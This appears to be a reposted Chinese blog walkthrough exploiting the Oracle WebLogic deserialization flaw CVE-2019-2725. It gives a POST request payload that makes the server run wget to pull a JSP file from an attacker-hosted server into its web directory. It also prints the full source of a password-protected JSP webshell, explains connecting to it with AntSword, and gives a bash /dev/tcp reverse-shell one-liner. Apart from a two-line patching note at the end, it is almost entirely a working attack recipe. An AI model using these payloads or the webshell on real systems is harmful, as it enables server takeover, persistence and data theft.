Weblogic反序列化远程命令执行(CVE-2019-2725)

漏洞描述:

CVE-2019-2725是一个Oracle weblogic反序列化远程命令执行漏洞,这个漏洞依旧是根据weblogic的xmldecoder反序列化漏洞,通过针对Oracle官网历年来的补丁构造payload来绕过。

复现过程:

1.访问ip:port

Weblogic反序列化远程命令执行(CVE-2019-2725)_第1张图片

2.可以访问

/_async/AsyncResponseService

,则存在漏洞Weblogic反序列化远程命令执行(CVE-2019-2725)_第2张图片

3.查看网站路径

/_async/AsyncResponseService?info

Weblogic反序列化远程命令执行(CVE-2019-2725)_第3张图片

4.开启http服务Weblogic反序列化远程命令执行(CVE-2019-2725)_第4张图片

5.将GET改为POST,随后请求包部分除了第一行第二行保留,其他全部替换如下payload

POST /_async/AsyncResponseService HTTP/1.1

Host: ip:port

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Connection: close

Content-Length: 841

Accept-Encoding: gzip, deflate

SOAPAction:

Accept: */*

User-Agent: Apache-HttpClient/4.1.1 (java 1.5)

Connection: keep-alive

content-type: text/xml

xmlns:asy="http://www.bea.com/async/AsyncResponseService">

xx

xx

/bin/bash

-c

wget http://ip:port/jsp.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/1.jsp

6.使用payload上传jsp木马

Jsp源码,密码123456

<%!

    class U extends ClassLoader {

        U(ClassLoader c) {

            super(c);

        }

        public Class g(byte[] b) {

            return super.defineClass(b, 0, b.length);

        }

    }

    public byte[] base64Decode(String str) throws Exception {

        try {

            Class clazz = Class.forName("sun.misc.BASE64Decoder");

            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);

        } catch (Exception e) {

            Class clazz = Class.forName("java.util.Base64");

            Object decoder = clazz.getMethod("getDecoder").invoke(null);

            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);

        }

    }

%>

<%

    String cls = request.getParameter("123456");

    if (cls != null) {

        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);

    }

%>


Weblogic反序列化远程命令执行(CVE-2019-2725)_第5张图片Weblogic反序列化远程命令执行(CVE-2019-2725)_第6张图片

7.访问上传木马Weblogic反序列化远程命令执行(CVE-2019-2725)_第7张图片

8.蚁剑连接Weblogic反序列化远程命令执行(CVE-2019-2725)_第8张图片Weblogic反序列化远程命令执行(CVE-2019-2725)_第9张图片

9.反弹shell

9.1payload

bash -i >& /dev/tcp/target ip/target port 0>&1

这里>&需要转换,否则无法利用

例:

bash -i >& /dev/tcp/ip/9999 0>&1Weblogic反序列化远程命令执行(CVE-2019-2725)_第10张图片

9.2本机监听Weblogic反序列化远程命令执行(CVE-2019-2725)_第11张图片

修复建议:

1.升级本地JDK环境

2.及时安装官方补丁

你可能感兴趣的:(网络安全,python)